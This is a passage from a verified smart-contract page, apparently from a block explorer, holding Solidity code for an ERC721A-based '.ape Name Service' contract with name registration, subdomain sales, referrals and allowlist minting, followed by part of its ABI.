     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        if (owner == address(0)) revert BalanceQueryForZeroAddress();
        return uint256(_addressData[owner].balance);
    }

    /**
     * Returns the number of tokens minted by `owner`.
     */
    function _numberMinted(address owner) internal view returns (uint256) {
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Returns the number of tokens burned by or on behalf of `owner`.
     */
    function _numberBurned(address owner) internal view returns (uint256) {
        return uint256(_addressData[owner].numberBurned);
    }

    /**
     * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
     */
    function _getAux(address owner) internal view returns (uint64) {
        return _addressData[owner].aux;
    }

    /**
     * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
     * If there are multiple variables, please pack them into a uint64.
     */
    function _setAux(address owner, uint64 aux) internal {
        _addressData[owner].aux = aux;
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        uint256 curr = tokenId;

        unchecked {
            if (_startTokenId() <= curr) if (curr < _currentIndex) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (!ownership.burned) {
                    if (ownership.addr != address(0)) {
                        return ownership;
                    }
                    // Invariant:
                    // There will always be an ownership that has an address and is not burned
                    // before an ownership that does not have an address and is not burned.
                    // Hence, curr will not underflow.
                    while (true) {
                        curr--;
                        ownership = _ownerships[curr];
                        if (ownership.addr != address(0)) {
                            return ownership;
                        }
                    }
                }
            }
        }
        revert OwnerQueryForNonexistentToken();
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return _ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        if (!_exists(tokenId)) revert URIQueryForNonexistentToken();

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenIDandAddress[tokenId])) : '';
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return '';
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        if (to == owner) revert ApprovalToCurrentOwner();

        if (_msgSender() != owner) if(!isApprovedForAll(owner, _msgSender())) {
            revert ApprovalCallerNotOwnerNorApproved();
        }

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public virtual override {
        if (operator == _msgSender()) revert ApproveToCaller();

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, '');
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public virtual override {
        _transfer(from, to, tokenId);
        if (to.isContract()) if(!_checkContractOnERC721Received(from, to, tokenId, _data)) {
            revert TransferToNonERC721ReceiverImplementer();
        }
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned;
    }

    /**
     * @dev Equivalent to `_safeMint(to, quantity, '')`.
     */
    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, '');
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement
     *   {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
        // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint64(quantity);
            _addressData[to].numberMinted += uint64(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;
            uint256 end = updatedIndex + quantity;

            if (to.isContract()) {
                do {
                    emit Transfer(address(0), to, updatedIndex);
                    if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
                        revert TransferToNonERC721ReceiverImplementer();
                    }
                } while (updatedIndex < end);
                // Reentrancy protection
                if (_currentIndex != startTokenId) revert();
            } else {
                do {
                    emit Transfer(address(0), to, updatedIndex++);
                } while (updatedIndex < end);
            }
            _currentIndex = updatedIndex;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(address to, uint256 quantity) internal {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
        // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint64(quantity);
            _addressData[to].numberMinted += uint64(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;
            uint256 end = updatedIndex + quantity;

            do {
                emit Transfer(address(0), to, updatedIndex++);
            } while (updatedIndex < end);

            _currentIndex = updatedIndex;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = _ownershipOf(tokenId);

        if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();

        bool isApprovedOrOwner = (_msgSender() == from ||
            isApprovedForAll(from, _msgSender()) ||
            getApproved(tokenId) == _msgSender());

        if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
        if (to == address(0)) revert TransferToZeroAddress();

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, from);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            TokenOwnership storage currSlot = _ownerships[tokenId];
            currSlot.addr = to;
            currSlot.startTimestamp = uint64(block.timestamp);

            
            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            TokenOwnership storage nextSlot = _ownerships[nextTokenId];
            if (nextSlot.addr == address(0)) {
                // This will suffice for checking _exists(nextTokenId),
                // as a burned slot cannot contain the zero address.
                if (nextTokenId != _currentIndex) {
                    nextSlot.addr = from;
                    nextSlot.startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Equivalent to `_burn(tokenId, false)`.
     */
    function _burn(uint256 tokenId) internal virtual {
        _burn(tokenId, false);
    }

    /**
     * @dev Destroys `tokenId`.
     * The approval is cleared when the token is burned.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     *
     * Emits a {Transfer} event.
     */
    function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
        TokenOwnership memory prevOwnership = _ownershipOf(tokenId);

        address from = prevOwnership.addr;

        if (approvalCheck) {
            bool isApprovedOrOwner = (_msgSender() == from ||
                isApprovedForAll(from, _msgSender()) ||
                getApproved(tokenId) == _msgSender());

            if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
        }

        _beforeTokenTransfers(from, address(0), tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, from);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            AddressData storage addressData = _addressData[from];
            addressData.balance -= 1;
            addressData.numberBurned += 1;

            // Keep track of who burned the token, and the timestamp of burning.
            TokenOwnership storage currSlot = _ownerships[tokenId];
            currSlot.addr = from;
            currSlot.startTimestamp = uint64(block.timestamp);
            currSlot.burned = true;

            // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            TokenOwnership storage nextSlot = _ownerships[nextTokenId];
            if (nextSlot.addr == address(0)) {
                // This will suffice for checking _exists(nextTokenId),
                // as a burned slot cannot contain the zero address.
                if (nextTokenId != _currentIndex) {
                    nextSlot.addr = from;
                    nextSlot.startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, address(0), tokenId);
        _afterTokenTransfers(from, address(0), tokenId, 1);

        // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
        unchecked {
            _burnCounter++;
        }
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkContractOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
            return retval == IERC721Receiver(to).onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert TransferToNonERC721ReceiverImplementer();
            } else {
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     * And also called before burning one token.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     * And also called after one token has been burned.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
     * transferred to `to`.
     * - When `from` is zero, `tokenId` has been minted for `to`.
     * - When `to` is zero, `tokenId` has been burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}





pragma solidity ^0.8.4;






contract Ape is ERC721A, Ownable, ReentrancyGuard {
    using Strings for uint256;
    uint256 public cost = 5000000000000000;
    uint256 public ref = 20;
    uint256 public ref_owner = 30;
    uint256 public ref_discount = 20;
    uint256 public subdomains_fee = 10;
    uint256 private maxCharSize = 20;
    
    string private domain='.ape';

    string private BASE_URI = 'https://metadata.apename.domains/metadata/';
    bool public IS_SALE_ACTIVE = false;
    bool public IS_ALLOWLIST_ACTIVE = false;
    mapping(address => bool) public allowlistAddresses;
    mapping(string => mapping(address => bool)) public subDomains_allowlistAddresses;
    mapping(string => address) public resolveAddress;
    mapping(address => string) public primaryAddress;
    mapping(string => bool) public subDomains_publicSale;
    mapping(string => uint) public subDomains_cost;
    mapping(string => bytes32) public subDomains_allowList;
    mapping(string => uint) public subDomains_allowList_cost;
    mapping(string => mapping(string => string)) public dataAddress;
    bytes32 public merkleRoot;
    bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz";
    constructor() ERC721A(".ape Name Service", ".ape") {
        tokenIDandAddress[_currentIndex]="ape";
        tokenAddressandID["ape"]=_currentIndex;
        resolveAddress["ape"]=msg.sender;
        _safeMint(msg.sender,1);
    }

    
    function _baseURI() internal view virtual override returns (string memory) {
        return BASE_URI;
    }

    function setAddress(string calldata ape_name, address newresolve) external {
         TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ape_name]);
        if (Ownership.addr != msg.sender) revert("Error");
        

    bytes memory result = bytes(primaryAddress[resolveAddress[ape_name]]);
        if (keccak256(result) == keccak256(bytes(ape_name))) {
            primaryAddress[resolveAddress[ape_name]]="";
        }
        resolveAddress[ape_name]=newresolve;
    }

    function setPrimaryAddress(string calldata ape_name) external {
        require(resolveAddress[ape_name]==msg.sender, "Error");
        primaryAddress[msg.sender]=ape_name;
    }


    function setDataAddress(string calldata ape_name,string calldata setArea, string  memory newDatas) external {
         TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ape_name]);

        if (Ownership.addr != msg.sender) revert("Error");
        dataAddress[ape_name][setArea]=newDatas;
    }

    function getDataAddress(string memory ape_name, string calldata Area) public view returns(string memory) {
        return dataAddress[ape_name][Area];
    }


    function setBaseURI(string memory customBaseURI_) external onlyOwner {
        BASE_URI = customBaseURI_;
    }

    function setMaxCharSize(uint256 maxCharSize_) external onlyOwner {
        maxCharSize = maxCharSize_;
    }
    
     function setAllowChars(bytes memory allwchr) external onlyOwner {
        _allowChars = allwchr;
    }

    function setPrice(uint256 customPrice) external onlyOwner {
        cost = customPrice;
    }

    function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner {
        ref = ref_;
        ref_owner = ref_owner_;
        ref_discount = ref_discount_;
        subdomains_fee = subdomains_fee_;

    }


    function setSaleActive(bool saleIsActive) external onlyOwner {
        IS_SALE_ACTIVE = saleIsActive;
    }

     function setAllowListSaleActive(bool WhitesaleIsActive) external onlyOwner {
        IS_ALLOWLIST_ACTIVE = WhitesaleIsActive;
    }

    function setSubdomainSaleActive(bool saleIsActive, uint256 customPrice, string calldata ape_name) public {
        TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ape_name]);
        require(Ownership.addr == msg.sender, "Invalid");
        subDomains_cost[ape_name] = customPrice;
        subDomains_publicSale[ape_name] = saleIsActive;

    }

    function register(address ref_address, string memory ape_name)
        public
        payable
    {   
        uint256 price = cost;
        bool is_ref=false;
        uint256 ref_cost=0;
        require(bytes(ape_name).length<=maxCharSize,"Long name");
        require(bytes(ape_name).length>0,"Write a name");
        require(_checkName(ape_name), "Invalid name");
        if (ref_address== 0x0000000000000000000000000000000000000000) {
        price=cost;
        } else {
        if (bytes(primaryAddress[ref_address]).length>0){
        ref_cost=price*ref_owner/100;    
        } else {
        ref_cost=price*ref/100;
        }
        price = price*(100-ref_discount)/100;
        is_ref=true;
        }
        require (tokenAddressandID[ape_name] == 0 , "This is already taken"); 
        require(IS_SALE_ACTIVE, "Sale is not active!");
        require(msg.value >= price, "Insufficient funds!");
        tokenIDandAddress[_currentIndex]=ape_name;
        tokenAddressandID[ape_name]=_currentIndex;
        resolveAddress[ape_name]=msg.sender;
         if (is_ref) {
        payable(ref_address).transfer(ref_cost);
        }
        _safeMint(msg.sender,1);
    }

     function allowList(string memory ape_name, bytes32[] calldata _merkleProof)
        public
        payable
    {      
            require(IS_ALLOWLIST_ACTIVE, "Allow List sale is not active!");
            bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
            require(MerkleProof.verify(_merkleProof, merkleRoot, leaf),"Invalid proof!");
            require(bytes(ape_name).length<=maxCharSize,"Long name");
            require(bytes(ape_name).length>0,"Write a name");
            require(_checkName(ape_name), "Invalid name");
            require(allowlistAddresses[msg.sender]!=true, "Claimed!");
            require (tokenAddressandID[ape_name] == 0 , "This is already taken"); 
            allowlistAddresses[msg.sender] = true;
            tokenIDandAddress[_currentIndex]=ape_name;
            tokenAddressandID[ape_name]=_currentIndex;
            resolveAddress[ape_name]=msg.sender;
            _safeMint(msg.sender,1);
    }


    function registerSubdomain(string memory ape_name, string memory subdomain_name)
        public
        payable
    {   
        require(IS_SALE_ACTIVE, "Sale is not active!");
        string memory new_domain=string.concat(subdomain_name,'.',ape_name);
        require(bytes(subdomain_name).length<=maxCharSize,"Long name");
        require(bytes(subdomain_name).length>0,"Write a name");
        require(_checkName(ape_name), "Invalid name");
        require(_checkName(subdomain_name), "Invalid name");
        require (tokenAddressandID[new_domain] == 0 , "This is already taken"); 
  
        TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ape_name]);
        if (Ownership.addr == msg.sender)
        {
        tokenIDandAddress[_currentIndex]=new_domain;
        tokenAddressandID[new_domain]=_currentIndex;
        resolveAddress[new_domain]=msg.sender; 
        _safeMint(msg.sender,1);   
        } else {
        require(subDomains_publicSale[ape_name]==true, "Only Owner can register");
        require(msg.value >= subDomains_cost[ape_name], "Insufficient funds!");
        payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100);
        tokenIDandAddress[_currentIndex]=new_domain;
        tokenAddressandID[new_domain]=_currentIndex;
        resolveAddress[new_domain]=msg.sender;
        _safeMint(msg.sender,1);       
        }
    }


    function allowListSubdomain(string memory ape_name,  string memory subdomain_name, bytes32[] calldata _merkleProof)
        public
        payable
    {      
            string memory new_domain=string.concat(subdomain_name,'.',ape_name);
            bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
            require(MerkleProof.verify(_merkleProof, subDomains_allowList[ape_name], leaf),"Invalid proof!");
            require(msg.value >= subDomains_allowList_cost[ape_name], "Insufficient funds!");


            require(bytes(subdomain_name).length<=maxCharSize,"Long name");
            require(bytes(subdomain_name).length>0,"Write a name");
            require(_checkName(ape_name), "Invalid name");
            require(_checkName(subdomain_name), "Invalid name");
            require(subDomains_allowlistAddresses[ape_name][msg.sender]!=true, "Claimed!");
            require (tokenAddressandID[new_domain] == 0 , "This is already taken"); 
            TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ape_name]);
            payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100);
            subDomains_allowlistAddresses[ape_name][msg.sender] = true;
            tokenIDandAddress[_currentIndex]=new_domain;
            tokenAddressandID[new_domain]=_currentIndex;
            resolveAddress[new_domain]=msg.sender;
            _safeMint(msg.sender,1);
    }

    
    function namediff(uint256 tokenId , string calldata new_ape_name) external onlyOwner {
        tokenIDandAddress[tokenId]=new_ape_name;
        tokenAddressandID[new_ape_name]=tokenId;
    }


function walletOfOwnerName(address _owner)
    public
    view
    returns (string[] memory)
  {
    uint256 ownerTokenCount = balanceOf(_owner);
    string[] memory ownedTokenIds = new string[](ownerTokenCount);
    uint256 currentTokenId = 1;
    uint256 ownedTokenIndex = 0;

    while (ownedTokenIndex < ownerTokenCount) {
      address currentTokenOwner = ownerOf(currentTokenId);

      if (currentTokenOwner == _owner) {
        ownedTokenIds[ownedTokenIndex] = string.concat(tokenIDandAddress[currentTokenId],domain);

        ownedTokenIndex++;
      }

      currentTokenId++;
    }

    return ownedTokenIds;
  }


function lastAddresses(uint256 count)
    public
    view
    returns (string[] memory)
  {
    uint256 total = totalSupply();
    string[] memory lastAddr = new string[](count);
    uint256 currentId = total - count;
    uint256 ownedTokenIndex = 0;
    require(currentId>=0,"Invalid");
    while (total > currentId) {
        lastAddr[ownedTokenIndex] = string.concat(tokenIDandAddress[total],domain);
        ownedTokenIndex++;
      total--;
    }

    return lastAddr;
  }


function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner {
        merkleRoot = _newMerkleRoot;
    }

function setMerkleRootSubdomain(bytes32 _newMerkleRoot, string memory ape_name, uint256 _cost) external {
      TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ape_name]);
        if (Ownership.addr != msg.sender) revert("Error");

        subDomains_allowList[ape_name] = _newMerkleRoot;
        subDomains_allowList_cost[ape_name] = _cost;
    }
    


 function _checkName(string memory _name) public view returns(bool){
        uint allowedChars =0;
        bytes memory byteString = bytes(_name);
        bytes memory allowed = bytes(_allowChars);  
        for(uint i=0; i < byteString.length ; i++){
           for(uint j=0; j<allowed.length; j++){
              if(byteString[i]==allowed[j] )
              allowedChars++;         
           }
        }
        if (allowedChars==byteString.length) { return true; } else { return false; }
       
    }

        /** PAYOUT **/

    function withdraw() public onlyOwner nonReentrant {
        uint256 balance = address(this).balance;
        Address.sendValue(payable(0x6049aCf6993e8eF2BF0e6DD0297C4F3a37995091),balance);
        }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"IS_ALLOWLIST_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IS_SALE_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"}],"name":"_checkName","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"ape_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowList","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"ape_name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowListSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowlistAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"}],"name":"dataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"ape_name","type":"string"},{"internalType":"string","name":"Area","type":"string"}],"name":"getDataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"lastAddresses","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"string","name":"new_ape_name","type":"string"}],"name":"namediff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"primaryAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_discount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_owner","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ref_address","type":"address"},{"internalType":"string","name":"ape_name","type":"string"}],"name":"register","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"ape_name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"}],"name":"registerSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"resolveAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"ape_name","type":"string"},{"internalType":"address","name":"newresolve","type":"address"}],"name":"setAddress","outputs":[],"stateMutab